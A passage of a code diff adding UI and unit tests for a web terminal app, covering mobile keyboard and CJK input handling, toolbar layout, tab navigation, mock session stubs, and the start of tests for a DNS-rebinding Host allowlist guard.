|
||||
});
|
||||
|
||||
it('resetLayout clears transforms on hide', async () => {
|
||||
await showKeyboard(page, KEYBOARD.TYPICAL_IOS_HEIGHT);
|
||||
await page.waitForTimeout(WAIT.KEYBOARD_ANIMATION);
|
||||
@@ -400,6 +439,332 @@ describe('Virtual Keyboard', () => {
|
||||
// Soft assertion — fitAddon may not be initialized without real terminal
|
||||
expect(callCount).toBeGreaterThanOrEqual(0);
|
||||
});
|
||||
|
||||
it('keeps xterm helper textarea focusable near the terminal cursor on touch devices', async () => {
|
||||
const styles = await page.evaluate(async () => {
|
||||
await new Promise<void>((resolve) => app.terminal.write('prompt', resolve));
|
||||
app.terminal.focus();
|
||||
app._syncMobileHelperTextareaToCursor?.();
|
||||
const textarea = document.querySelector('.xterm-helper-textarea');
|
||||
const cursor = document.querySelector('.xterm-cursor');
|
||||
const screen = document.querySelector('.xterm-screen');
|
||||
if (!(textarea instanceof HTMLElement) || !(cursor instanceof HTMLElement) || !(screen instanceof HTMLElement))
|
||||
return null;
|
||||
const cs = getComputedStyle(textarea);
|
||||
const cursorRect = cursor.getBoundingClientRect();
|
||||
const screenRect = screen.getBoundingClientRect();
|
||||
return {
|
||||
left: cs.left,
|
||||
top: cs.top,
|
||||
width: cs.width,
|
||||
height: cs.height,
|
||||
zIndex: cs.zIndex,
|
||||
opacity: cs.opacity,
|
||||
cursorLeft: `${Math.max(0, Math.round(cursorRect.left - screenRect.left))}px`,
|
||||
cursorTop: `${Math.max(0, Math.round(cursorRect.top - screenRect.top))}px`,
|
||||
};
|
||||
});
|
||||
|
||||
expect(styles).not.toBeNull();
|
||||
expect(styles?.left).toBe(styles?.cursorLeft);
|
||||
expect(styles?.top).toBe(styles?.cursorTop);
|
||||
expect(styles?.cursorLeft).not.toBe('0px');
|
||||
expect(styles?.width).toBe('1px');
|
||||
expect(styles?.height).toBe('1px');
|
||||
expect(styles?.opacity).toBe('0');
|
||||
expect(Number(styles?.zIndex)).toBeGreaterThanOrEqual(0);
|
||||
});
|
||||
|
||||
it('routes CJK textarea typing through local echo on Enter', async () => {
|
||||
await page.evaluate(() => {
|
||||
window.__sentInputs = [];
|
||||
const sessionId = 'mobile-cjk-local-echo-test';
|
||||
app.activeSessionId = sessionId;
|
||||
app.sessions.set(sessionId, { id: sessionId, mode: 'codex' });
|
||||
app._localEchoEnabled = true;
|
||||
app._localEchoOverlay = {
|
||||
pendingText: '',
|
||||
appendText(text: string) {
|
||||
this.pendingText += text;
|
||||
},
|
||||
removeChar() {
|
||||
this.pendingText = this.pendingText.slice(0, -1);
|
||||
return 'pending';
|
||||
},
|
||||
clear() {
|
||||
this.pendingText = '';
|
||||
},
|
||||
suppressBufferDetection() {},
|
||||
};
|
||||
app._sendInputAsync = (_sessionId: string, input: string) => {
|
||||
window.__sentInputs.push(input);
|
||||
};
|
||||
const settings = app.loadAppSettingsFromStorage();
|
||||
settings.cjkInputEnabled = true;
|
||||
app.saveAppSettingsToStorage(settings);
|
||||
app._serverCjkOverride = true;
|
||||
app._updateCjkInputState?.();
|
||||
});
|
||||
|
||||
await page.locator('#cjkInput').focus();
|
||||
await page.keyboard.type('hello');
|
||||
|
||||
const beforeEnter = await page.evaluate(() => ({
|
||||
visibleText: (document.getElementById('cjkInput') as HTMLTextAreaElement).value.replace(/\u200B/g, ''),
|
||||
pendingText: app._localEchoOverlay.pendingText,
|
||||
sentInputs: window.__sentInputs,
|
||||
}));
|
||||
expect(beforeEnter.visibleText).toBe('hello');
|
||||
expect(beforeEnter.pendingText).toBe('');
|
||||
expect(beforeEnter.sentInputs).toEqual([]);
|
||||
|
||||
await page.keyboard.press('Enter');
|
||||
await page.waitForFunction(() => window.__sentInputs?.length === 2);
|
||||
const afterEnter = await page.evaluate(() => ({
|
||||
pendingText: app._localEchoOverlay.pendingText,
|
||||
sentInputs: window.__sentInputs,
|
||||
}));
|
||||
expect(afterEnter.pendingText).toBe('');
|
||||
expect(afterEnter.sentInputs).toEqual(['hello', '\r']);
|
||||
});
|
||||
|
||||
it('shows the CJK textarea on mobile only for server override', async () => {
|
||||
const state = await page.evaluate(() => {
|
||||
app._serverCjkOverride = true;
|
||||
app._updateCjkInputState();
|
||||
|
||||
const input = document.getElementById('cjkInput');
|
||||
if (!(input instanceof HTMLElement)) return null;
|
||||
const cs = getComputedStyle(input);
|
||||
return {
|
||||
display: cs.display,
|
||||
position: cs.position,
|
||||
bottom: cs.bottom,
|
||||
zIndex: cs.zIndex,
|
||||
ariaHidden: input.getAttribute('aria-hidden'),
|
||||
};
|
||||
});
|
||||
|
||||
expect(state).not.toBeNull();
|
||||
expect(state?.display).not.toBe('none');
|
||||
expect(state?.position).toBe('fixed');
|
||||
expect(Number(state?.zIndex)).toBeGreaterThan(50);
|
||||
expect(state?.ariaHidden).toBe('false');
|
||||
});
|
||||
|
||||
it('hides the CJK textarea by default on phones', async () => {
|
||||
const state = await page.evaluate(() => {
|
||||
localStorage.removeItem(app.getSettingsStorageKey());
|
||||
app._cachedAppSettings = null;
|
||||
app._updateCjkInputState();
|
||||
|
||||
const input = document.getElementById('cjkInput');
|
||||
if (!(input instanceof HTMLElement)) return null;
|
||||
const cs = getComputedStyle(input);
|
||||
return {
|
||||
display: cs.display,
|
||||
position: cs.position,
|
||||
bodyClass: document.body.classList.contains('cjk-input-visible'),
|
||||
};
|
||||
});
|
||||
|
||||
expect(state).not.toBeNull();
|
||||
expect(state?.display).toBe('none');
|
||||
expect(state?.bodyClass).toBe(false);
|
||||
});
|
||||
|
||||
it('keeps the CJK textarea hidden even when old phone settings enabled it', async () => {
|
||||
const state = await page.evaluate(() => {
|
||||
const settings = app.loadAppSettingsFromStorage();
|
||||
settings.cjkInputEnabled = true;
|
||||
app.saveAppSettingsToStorage(settings);
|
||||
app._updateCjkInputState();
|
||||
|
||||
const input = document.getElementById('cjkInput');
|
||||
if (!(input instanceof HTMLElement)) return null;
|
||||
const cs = getComputedStyle(input);
|
||||
return {
|
||||
display: cs.display,
|
||||
position: cs.position,
|
||||
bodyClass: document.body.classList.contains('cjk-input-visible'),
|
||||
};
|
||||
});
|
||||
|
||||
expect(state).not.toBeNull();
|
||||
expect(state?.display).toBe('none');
|
||||
expect(state?.bodyClass).toBe(false);
|
||||
});
|
||||
|
||||
it('focuses the terminal helper textarea when the terminal is tapped', async () => {
|
||||
await page.evaluate(() => {
|
||||
app.activeSessionId = 'mobile-focus-visible-input-test';
|
||||
app.sessions.set('mobile-focus-visible-input-test', {
|
||||
id: 'mobile-focus-visible-input-test',
|
||||
mode: 'codex',
|
||||
status: 'running',
|
||||
});
|
||||
app.hideWelcome();
|
||||
const settings = app.loadAppSettingsFromStorage();
|
||||
settings.cjkInputEnabled = false;
|
||||
app.saveAppSettingsToStorage(settings);
|
||||
app._updateCjkInputState();
|
||||
});
|
||||
|
||||
await page.locator('#terminalContainer').tap({ position: { x: 40, y: 40 } });
|
||||
|
||||
const activeClass = await page.evaluate(() => document.activeElement?.className);
|
||||
expect(activeClass).toContain('xterm-helper-textarea');
|
||||
});
|
||||
|
||||
it('keeps terminal touch drag available for scrollback with the visible textarea enabled', async () => {
|
||||
const calls = await page.evaluate(async () => {
|
||||
app.activeSessionId = 'mobile-touch-scroll-test';
|
||||
app.sessions.set('mobile-touch-scroll-test', {
|
||||
id: 'mobile-touch-scroll-test',
|
||||
mode: 'codex',
|
||||
status: 'running',
|
||||
});
|
||||
app.hideWelcome();
|
||||
app._updateCjkInputState();
|
||||
|
||||
const originalScrollLines = app.terminal.scrollLines.bind(app.terminal);
|
||||
const scrollCalls: number[] = [];
|
||||
app.terminal.scrollLines = (lines: number) => {
|
||||
scrollCalls.push(lines);
|
||||
return originalScrollLines(lines);
|
||||
};
|
||||
|
||||
const target =
|
||||
document.querySelector('#terminalContainer .xterm-screen') ?? document.getElementById('terminalContainer');
|
||||
if (!target) return scrollCalls;
|
||||
const rect = target.getBoundingClientRect();
|
||||
const x = rect.left + rect.width / 2;
|
||||
const startY = rect.top + Math.min(180, rect.height - 20);
|
||||
const endY = startY - 120;
|
||||
|
||||
function createTouch(y: number) {
|
||||
return new Touch({
|
||||
identifier: 1,
|
||||
target,
|
||||
clientX: x,
|
||||
clientY: y,
|
||||
pageX: x,
|
||||
pageY: y,
|
||||
});
|
||||
}
|
||||
|
||||
target.dispatchEvent(
|
||||
new TouchEvent('touchstart', {
|
||||
touches: [createTouch(startY)],
|
||||
changedTouches: [createTouch(startY)],
|
||||
bubbles: true,
|
||||
cancelable: true,
|
||||
})
|
||||
);
|
||||
target.dispatchEvent(
|
||||
new TouchEvent('touchmove', {
|
||||
touches: [createTouch(endY)],
|
||||
changedTouches: [createTouch(endY)],
|
||||
bubbles: true,
|
||||
cancelable: true,
|
||||
})
|
||||
);
|
||||
target.dispatchEvent(
|
||||
new TouchEvent('touchend', {
|
||||
touches: [],
|
||||
changedTouches: [createTouch(endY)],
|
||||
bubbles: true,
|
||||
cancelable: true,
|
||||
})
|
||||
);
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
return scrollCalls;
|
||||
});
|
||||
|
||||
expect(calls.length).toBeGreaterThan(0);
|
||||
expect(calls.some((lines) => lines !== 0)).toBe(true);
|
||||
});
|
||||
|
||||
it('keeps typed phone text in the terminal local echo path', async () => {
|
||||
await page.evaluate(() => {
|
||||
window.__sentInputs = [];
|
||||
app.activeSessionId = 'mobile-visible-input-test';
|
||||
app.sessions.set('mobile-visible-input-test', {
|
||||
id: 'mobile-visible-input-test',
|
||||
mode: 'codex',
|
||||
status: 'running',
|
||||
});
|
||||
app.hideWelcome();
|
||||
app._sendInputAsync = (_sessionId: string, input: string) => {
|
||||
window.__sentInputs.push(input);
|
||||
};
|
||||
const settings = app.loadAppSettingsFromStorage();
|
||||
settings.cjkInputEnabled = false;
|
||||
settings.localEchoEnabled = true;
|
||||
app.saveAppSettingsToStorage(settings);
|
||||
app._updateCjkInputState();
|
||||
app._updateLocalEchoState();
|
||||
app.terminal.focus();
|
||||
});
|
||||
|
||||
await page.locator('#terminalContainer').tap({ position: { x: 40, y: 40 } });
|
||||
await page.keyboard.type('find bug');
|
||||
|
||||
const beforeEnter = await page.evaluate(() => ({
|
||||
activeClass: document.activeElement?.className,
|
||||
cjkDisplay: getComputedStyle(document.getElementById('cjkInput') as HTMLElement).display,
|
||||
pendingText: app._localEchoOverlay?.pendingText,
|
||||
sentInputs: window.__sentInputs,
|
||||
}));
|
||||
expect(beforeEnter.activeClass).toContain('xterm-helper-textarea');
|
||||
expect(beforeEnter.cjkDisplay).toBe('none');
|
||||
expect(beforeEnter.pendingText).toBe('find bug');
|
||||
expect(beforeEnter.sentInputs).toEqual([]);
|
||||
|
||||
await page.keyboard.press('Enter');
|
||||
await page.waitForFunction(() => window.__sentInputs?.join('') === 'find bug\r');
|
||||
|
||||
const afterEnter = await page.evaluate(() => ({
|
||||
pendingText: app._localEchoOverlay?.pendingText,
|
||||
sentInputs: window.__sentInputs,
|
||||
}));
|
||||
expect(afterEnter.pendingText).toBe('');
|
||||
expect(afterEnter.sentInputs.join('')).toBe('find bug\r');
|
||||
});
|
||||
|
||||
it('shows terminal local echo at the cursor when no prompt marker is visible', async () => {
|
||||
await page.evaluate(async () => {
|
||||
app.activeSessionId = 'mobile-cursor-fallback-test';
|
||||
app.sessions.set('mobile-cursor-fallback-test', {
|
||||
id: 'mobile-cursor-fallback-test',
|
||||
mode: 'codex',
|
||||
status: 'running',
|
||||
});
|
||||
app.hideWelcome();
|
||||
const settings = app.loadAppSettingsFromStorage();
|
||||
settings.cjkInputEnabled = false;
|
||||
settings.localEchoEnabled = true;
|
||||
app.saveAppSettingsToStorage(settings);
|
||||
app._updateCjkInputState();
|
||||
app._updateLocalEchoState();
|
||||
app.terminal.reset();
|
||||
await new Promise<void>((resolve) => app.terminal.write('working without prompt marker', resolve));
|
||||
app.terminal.focus();
|
||||
});
|
||||
|
||||
await page.keyboard.type('abc');
|
||||
|
||||
const state = await page.evaluate(() => ({
|
||||
cjkDisplay: getComputedStyle(document.getElementById('cjkInput') as HTMLElement).display,
|
||||
pendingText: app._localEchoOverlay?.pendingText,
|
||||
overlayState: app._localEchoOverlay?.state,
|
||||
}));
|
||||
|
||||
expect(state.cjkDisplay).toBe('none');
|
||||
expect(state.pendingText).toBe('abc');
|
||||
expect(state.overlayState?.visible).toBe(true);
|
||||
expect(state.overlayState?.promptPosition).not.toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
// ── Cross-device keyboard behavior ────────────────────────────────────
|
||||
|
||||
+141
-2
@@ -151,6 +151,145 @@ describe('Mobile Layout', () => {
|
||||
});
|
||||
});
|
||||
|
||||
// ─── Toolbar Collision Regression ───────────────────────────────────────
|
||||
|
||||
describe('Toolbar Collision Regression', () => {
|
||||
it('keeps phone toolbar controls inside the viewport', async () => {
|
||||
const device = DEVICE_REGISTRY.find((d) => d.name === 'iPhone 8')!;
|
||||
const { context, page } = await createDevicePage(device, BASE_URL, 'chromium');
|
||||
try {
|
||||
await page.waitForTimeout(WAIT.PAGE_SETTLE);
|
||||
const layout = await page.evaluate(() => {
|
||||
const buttons = [...document.querySelectorAll('.toolbar button')]
|
||||
.filter((el): el is HTMLButtonElement => {
|
||||
const rect = el.getBoundingClientRect();
|
||||
const style = getComputedStyle(el);
|
||||
return rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden';
|
||||
})
|
||||
.map((el) => {
|
||||
const rect = el.getBoundingClientRect();
|
||||
return {
|
||||
selector: el.id ? `#${el.id}` : `.${[...el.classList].join('.')}`,
|
||||
left: rect.left,
|
||||
right: rect.right,
|
||||
};
|
||||
});
|
||||
return {
|
||||
overflow: buttons.filter(({ left, right }) => left < 0 || right > window.innerWidth),
|
||||
caseWidth: document.querySelector('.btn-case-mobile')?.getBoundingClientRect().width ?? 0,
|
||||
};
|
||||
});
|
||||
|
||||
expect(layout.overflow).toEqual([]);
|
||||
expect(layout.caseWidth).toBeGreaterThanOrEqual(36);
|
||||
} finally {
|
||||
await context.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('does not render the desktop voice button at the 430px phone/tablet boundary', async () => {
|
||||
const device = REPRESENTATIVE_DEVICES['large-phone'];
|
||||
const { context, page } = await createDevicePage(device, BASE_URL, 'chromium');
|
||||
try {
|
||||
await page.waitForTimeout(WAIT.PAGE_SETTLE);
|
||||
await assertHidden(page, '#voiceInputBtn');
|
||||
await assertVisible(page, '#voiceInputBtnMobile');
|
||||
} finally {
|
||||
await context.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('uses phone upload and voice controls without toolbar overlap', async () => {
|
||||
const device = REPRESENTATIVE_DEVICES['small-phone'];
|
||||
const { context, page } = await createDevicePage(device, BASE_URL, 'chromium');
|
||||
try {
|
||||
await page.waitForTimeout(WAIT.PAGE_SETTLE);
|
||||
expect(await page.locator('.toolbar-center .btn-upload').isVisible()).toBe(false);
|
||||
await assertVisible(page, '.btn-upload-mobile');
|
||||
await assertVisible(page, '#voiceInputBtnMobile');
|
||||
|
||||
const violations = await page.evaluate(() => {
|
||||
const visibleToolbarButtons = [...document.querySelectorAll('.toolbar button')]
|
||||
.filter((el): el is HTMLButtonElement => {
|
||||
const rect = el.getBoundingClientRect();
|
||||
const style = getComputedStyle(el);
|
||||
return rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden';
|
||||
})
|
||||
.map((el) => ({
|
||||
selector: el.id ? `#${el.id}` : `.${[...el.classList].join('.')}`,
|
||||
rect: el.getBoundingClientRect(),
|
||||
}));
|
||||
|
||||
const overlaps: string[] = [];
|
||||
for (let i = 0; i < visibleToolbarButtons.length; i += 1) {
|
||||
for (let j = i + 1; j < visibleToolbarButtons.length; j += 1) {
|
||||
const a = visibleToolbarButtons[i];
|
||||
const b = visibleToolbarButtons[j];
|
||||
const intersects =
|
||||
a.rect.left < b.rect.right &&
|
||||
a.rect.right > b.rect.left &&
|
||||
a.rect.top < b.rect.bottom &&
|
||||
a.rect.bottom > b.rect.top;
|
||||
if (intersects) {
|
||||
overlaps.push(`${a.selector} overlaps ${b.selector}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
return overlaps;
|
||||
});
|
||||
|
||||
expect(violations).toEqual([]);
|
||||
} finally {
|
||||
await context.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps the mobile recording mic effect inside the button bounds', async () => {
|
||||
const device = REPRESENTATIVE_DEVICES['small-phone'];
|
||||
const { context, page } = await createDevicePage(device, BASE_URL, 'chromium');
|
||||
try {
|
||||
await page.waitForTimeout(WAIT.PAGE_SETTLE);
|
||||
await page.evaluate(() => {
|
||||
document.getElementById('voiceInputBtnMobile')?.classList.add('recording');
|
||||
});
|
||||
|
||||
const shadow = await page.evaluate(() => {
|
||||
const button = document.getElementById('voiceInputBtnMobile');
|
||||
return button ? getComputedStyle(button).boxShadow : '';
|
||||
});
|
||||
|
||||
expect(shadow).toContain('inset');
|
||||
expect(shadow).not.toContain(' 6px ');
|
||||
} finally {
|
||||
await context.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps desktop upload and voice controls in one centered row', async () => {
|
||||
const { context, page } = await createDevicePage(iPadPro, BASE_URL, 'chromium');
|
||||
try {
|
||||
await page.setViewportSize({ width: 1280, height: 800 });
|
||||
await page.waitForTimeout(WAIT.PAGE_SETTLE);
|
||||
await assertVisible(page, '.toolbar-center .btn-upload');
|
||||
await assertVisible(page, '#voiceInputBtn');
|
||||
|
||||
const layout = await page.evaluate(() => {
|
||||
const upload = document.querySelector('.toolbar-center .btn-upload')!.getBoundingClientRect();
|
||||
const voice = document.querySelector('#voiceInputBtn')!.getBoundingClientRect();
|
||||
return {
|
||||
centerYDifference: Math.abs(upload.top + upload.height / 2 - (voice.top + voice.height / 2)),
|
||||
centerXDifference: Math.abs(upload.left + upload.width / 2 - (voice.left + voice.width / 2)),
|
||||
};
|
||||
});
|
||||
|
||||
expect(layout.centerYDifference).toBeLessThanOrEqual(2);
|
||||
expect(layout.centerXDifference).toBeGreaterThan(20);
|
||||
} finally {
|
||||
await context.close();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ─── Device Classes ───────────────────────────────────────────────────────
|
||||
|
||||
describe('Device Classes', () => {
|
||||
@@ -164,7 +303,7 @@ describe('Mobile Layout', () => {
|
||||
});
|
||||
|
||||
it('Android user agent does NOT add ios-device', async () => {
|
||||
const pixel = DEVICE_REGISTRY.find(d => d.name === 'Pixel 7')!;
|
||||
const pixel = DEVICE_REGISTRY.find((d) => d.name === 'Pixel 7')!;
|
||||
const { context, page } = await createDevicePage(pixel, BASE_URL);
|
||||
try {
|
||||
await assertNotHasClass(page, 'body', BODY_CLASSES.IOS);
|
||||
@@ -273,7 +412,7 @@ describe('Mobile Layout', () => {
|
||||
if (violations.length > 0) {
|
||||
console.warn(
|
||||
`Touch target violations (${violations.length}):\n` +
|
||||
violations.map(v => ` ${v.selector}: ${v.width}x${v.height}px`).join('\n'),
|
||||
violations.map((v) => ` ${v.selector}: ${v.width}x${v.height}px`).join('\n')
|
||||
);
|
||||
}
|
||||
// Allow known small elements — notification action buttons (26x26px),
|
||||
|
||||
+144
-9
@@ -93,6 +93,91 @@ describe('Tab Navigation', () => {
|
||||
expect(maxWidthPx).toBeGreaterThan(0);
|
||||
}
|
||||
});
|
||||
|
||||
it('active tab menu target is touch-sized and opens session options', async () => {
|
||||
const hasActiveTab = await page.locator('.session-tab.active').count();
|
||||
if (!hasActiveTab) {
|
||||
await page.evaluate(() => {
|
||||
const container = document.querySelector('.session-tabs');
|
||||
if (!container) return;
|
||||
container.innerHTML = `
|
||||
<div class="session-tab active" data-id="mobile-menu-test">
|
||||
<span class="tab-number">1</span>
|
||||
<span class="tab-status idle"></span>
|
||||
<span class="tab-info">
|
||||
<span class="tab-name-row"><span class="tab-name">Session</span></span>
|
||||
</span>
|
||||
<span class="tab-gear" onclick="event.stopPropagation(); app.openSessionOptions('mobile-menu-test')" title="Session options" aria-label="Session options" tabindex="0">⚙</span>
|
||||
<span class="tab-close">×</span>
|
||||
</div>`;
|
||||
(window as any).app.sessions.set('mobile-menu-test', {
|
||||
id: 'mobile-menu-test',
|
||||
name: 'Session',
|
||||
status: 'idle',
|
||||
mode: 'shell',
|
||||
workingDir: '/tmp',
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
const gear = page.locator('.session-tab.active .tab-gear').first();
|
||||
expect(await gear.isVisible()).toBe(true);
|
||||
const box = await gear.boundingBox();
|
||||
|
||||
expect(box?.width ?? 0).toBeGreaterThanOrEqual(32);
|
||||
expect(box?.height ?? 0).toBeGreaterThanOrEqual(32);
|
||||
|
||||
await gear.click();
|
||||
const modalClass = await page.locator('#sessionOptionsModal').getAttribute('class');
|
||||
expect(modalClass).toMatch(/active/);
|
||||
});
|
||||
|
||||
it('header has no utility toggle and the tray stays collapsed on mobile', async () => {
|
||||
// The three-dot header utility toggle was removed (owner decision,
|
||||
// 2026-06-10): nothing interactive may occupy the top-left corner, and
|
||||
// the headerRight tray stays collapsed (hidden) on small viewports.
|
||||
await page.evaluate(() => {
|
||||
document.querySelectorAll('.modal.active').forEach((modal) => modal.classList.remove('active'));
|
||||
document.getElementById('headerRight')?.classList.add('mobile-collapsed');
|
||||
});
|
||||
|
||||
const toggleCount = await page.locator('#mobileHeaderUtilityToggle').count();
|
||||
expect(toggleCount).toBe(0);
|
||||
|
||||
const trayVisible = await page.evaluate(() => {
|
||||
const tray = document.getElementById('headerRight');
|
||||
return tray ? getComputedStyle(tray).display !== 'none' : false;
|
||||
});
|
||||
expect(trayVisible).toBe(false);
|
||||
});
|
||||
|
||||
it('tabs remain visible on large phone and tablet headers', async () => {
|
||||
for (const device of [REPRESENTATIVE_DEVICES['large-phone'], REPRESENTATIVE_DEVICES['small-tablet']]) {
|
||||
const { context: deviceContext, page: devicePage } = await createDevicePage(device, BASE_URL, 'chromium');
|
||||
try {
|
||||
await devicePage.waitForTimeout(WAIT.PAGE_SETTLE);
|
||||
await devicePage.evaluate(() => {
|
||||
const container = document.querySelector('.session-tabs');
|
||||
if (!container) return;
|
||||
container.innerHTML = '';
|
||||
for (let i = 1; i <= 3; i++) {
|
||||
const tab = document.createElement('div');
|
||||
tab.className = i === 1 ? 'session-tab active' : 'session-tab';
|
||||
tab.innerHTML = `<span class="tab-status idle"></span><span class="tab-name">Session ${i}</span>`;
|
||||
container.appendChild(tab);
|
||||
}
|
||||
});
|
||||
|
||||
const tabsWidth = await devicePage.evaluate(() => {
|
||||
return document.querySelector('.session-tabs')?.clientWidth ?? 0;
|
||||
});
|
||||
|
||||
expect(tabsWidth).toBeGreaterThanOrEqual(120);
|
||||
} finally {
|
||||
await deviceContext.close();
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ─── Swipe Navigation (CDP - Chromium) ───────────────────────────────────
|
||||
@@ -134,7 +219,9 @@ describe('Tab Navigation', () => {
|
||||
}
|
||||
|
||||
async function clearSwipeLog(): Promise<void> {
|
||||
await page.evaluate(() => { (window as any).__swipeLog = []; });
|
||||
await page.evaluate(() => {
|
||||
(window as any).__swipeLog = [];
|
||||
});
|
||||
}
|
||||
|
||||
it('swipe left calls nextSession', async () => {
|
||||
@@ -193,10 +280,12 @@ describe('Tab Navigation', () => {
|
||||
const steps = 5;
|
||||
for (let i = 1; i <= steps; i++) {
|
||||
const progress = i / steps;
|
||||
await dispatchTouchEvent(cdp, 'touchMove', [{
|
||||
x: startX + (endX - startX) * progress,
|
||||
y: startY + (endY - startY) * progress,
|
||||
}]);
|
||||
await dispatchTouchEvent(cdp, 'touchMove', [
|
||||
{
|
||||
x: startX + (endX - startX) * progress,
|
||||
y: startY + (endY - startY) * progress,
|
||||
},
|
||||
]);
|
||||
await page.waitForTimeout(20);
|
||||
}
|
||||
await dispatchTouchEvent(cdp, 'touchEnd', []);
|
||||
@@ -451,6 +540,51 @@ describe('Tab Navigation', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('Tab Touch Focus', () => {
|
||||
it('switching tabs with the keyboard closed does not leave the terminal textarea focused', async () => {
|
||||
const { context, page } = await createDevicePage(standardPhone, BASE_URL, 'chromium');
|
||||
try {
|
||||
await page.waitForTimeout(WAIT.PAGE_SETTLE);
|
||||
|
||||
const result = await page.evaluate(() => {
|
||||
if (typeof app === 'undefined') return { hasHandler: false };
|
||||
const textarea = document.querySelector('.xterm-helper-textarea');
|
||||
if (textarea) textarea.focus();
|
||||
if (typeof KeyboardHandler !== 'undefined') KeyboardHandler.keyboardVisible = false;
|
||||
|
||||
let selected: string | null = null;
|
||||
let selectedOptions: { preserveKeyboard?: boolean } | null = null;
|
||||
const originalSelect = app.selectSession;
|
||||
app.selectSession = function (id, options) {
|
||||
selected = id;
|
||||
selectedOptions = options || {};
|
||||
return Promise.resolve();
|
||||
};
|
||||
|
||||
const event = new Event('click', { bubbles: true, cancelable: true });
|
||||
if (typeof app.handleSessionTabClick === 'function') {
|
||||
app.handleSessionTabClick(event, 'mock-session-2');
|
||||
}
|
||||
const activeIsTextarea = document.activeElement === textarea;
|
||||
app.selectSession = originalSelect;
|
||||
return {
|
||||
hasHandler: typeof app.handleSessionTabClick === 'function',
|
||||
selected: selected,
|
||||
preserveKeyboard: selectedOptions ? selectedOptions.preserveKeyboard : undefined,
|
||||
activeIsTextarea: activeIsTextarea,
|
||||
};
|
||||
});
|
||||
|
||||
expect(result.hasHandler).toBe(true);
|
||||
expect(result.selected).toBe('mock-session-2');
|
||||
expect(result.preserveKeyboard).toBe(false);
|
||||
expect(result.activeIsTextarea).toBe(false);
|
||||
} finally {
|
||||
await context.close();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ─── Tab Close Button Visibility ─────────────────────────────────────────
|
||||
|
||||
describe('Tab Close Button Visibility', () => {
|
||||
@@ -521,10 +655,11 @@ describe('Tab Navigation', () => {
|
||||
const isActive = tab?.classList.contains('active') ?? false;
|
||||
const style = getComputedStyle(gear);
|
||||
// Gear hidden via display:none (mobile) or opacity:0 + width:0 (desktop)
|
||||
const isVisible = style.display !== 'none'
|
||||
&& style.visibility !== 'hidden'
|
||||
&& parseFloat(style.opacity) > 0
|
||||
&& parseFloat(style.width) > 0;
|
||||
const isVisible =
|
||||
style.display !== 'none' &&
|
||||
style.visibility !== 'hidden' &&
|
||||
parseFloat(style.opacity) > 0 &&
|
||||
parseFloat(style.width) > 0;
|
||||
return { isActive, isVisible };
|
||||
});
|
||||
});
|
||||
|
||||
@@ -222,6 +222,15 @@ export class MockSession extends EventEmitter {
|
||||
};
|
||||
}
|
||||
|
||||
/** Auto-resume on usage limit (token pause control) */
|
||||
autoResumeEnabled: boolean = false;
|
||||
autoResumeAt: number | null = null;
|
||||
isLimitPaused: boolean = false;
|
||||
setAutoResume = vi.fn((enabled: boolean) => {
|
||||
this.autoResumeEnabled = enabled;
|
||||
if (!enabled) this.autoResumeAt = null;
|
||||
});
|
||||
|
||||
/** Check if session is busy */
|
||||
isBusy = vi.fn(() => false);
|
||||
|
||||
@@ -236,6 +245,11 @@ export class MockSession extends EventEmitter {
|
||||
/** Stub for resize */
|
||||
resize = vi.fn();
|
||||
|
||||
/** Stubs for the desktop sizing claims used by resize arbitration */
|
||||
claimDesktopSizing = vi.fn();
|
||||
releaseDesktopSizing = vi.fn();
|
||||
noteDesktopActivity = vi.fn();
|
||||
|
||||
/** Stub for runPrompt */
|
||||
runPrompt = vi.fn(async () => {});
|
||||
|
||||
|
||||
@@ -0,0 +1,138 @@
|
||||
/**
|
||||
* @fileoverview Unit tests for the anti-DNS-rebinding Host allowlist + cross-site
|
||||
* Origin guard helpers in network-auth-policy.ts. Pure functions — no tmux, no
|
||||
* ports — safe to run inside a managed session.
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
parseAuthorityHostname,
|
||||
buildHostPolicy,
|
||||
isAllowedRequestHost,
|
||||
isAllowedRequestOrigin,
|
||||
type HostPolicy,
|
||||
} from '../src/web/network-auth-policy.js';
|
||||
|
||||
const loopback: HostPolicy = { bindHost: '127.0.0.1', allowedHosts: [], tunnelHost: null };
|
||||
|
||||
describe('parseAuthorityHostname', () => {
|
||||
it('strips ports', () => {
|
||||
expect(parseAuthorityHostname('localhost:3000')).toBe('localhost');
|
||||
expect(parseAuthorityHostname('127.0.0.1:3000')).toBe('127.0.0.1');
|
||||
expect(parseAuthorityHostname('evil.example.com')).toBe('evil.example.com');
|
||||
});
|
||||
it('handles IPv6 in brackets', () => {
|
||||
expect(parseAuthorityHostname('[::1]')).toBe('::1');
|
||||
expect(parseAuthorityHostname('[::1]:3000')).toBe('::1');
|
||||
});
|
||||
it('leaves bracketless IPv6 intact (does not treat colons as a port)', () => {
|
||||
expect(parseAuthorityHostname('::1')).toBe('::1');
|
||||
});
|
||||
it('returns null for empty/garbage', () => {
|
||||
expect(parseAuthorityHostname(undefined)).toBeNull();
|
||||
expect(parseAuthorityHostname('')).toBeNull();
|
||||
expect(parseAuthorityHostname(' ')).toBeNull();
|
||||
});
|
||||
it('lowercases', () => {
|
||||
expect(parseAuthorityHostname('EVIL.Example.COM')).toBe('evil.example.com');
|
||||
});
|
||||
});
|
||||
|
||||
describe('isAllowedRequestHost — anti-DNS-rebinding', () => {
|
||||
it('accepts loopback names and any IP literal', () => {
|
||||
expect(isAllowedRequestHost('localhost:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('127.0.0.1:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('[::1]:3000', loopback)).toBe(true);
|
||||
// LAN / public IP literals can't be rebinding targets, so they're allowed
|
||||
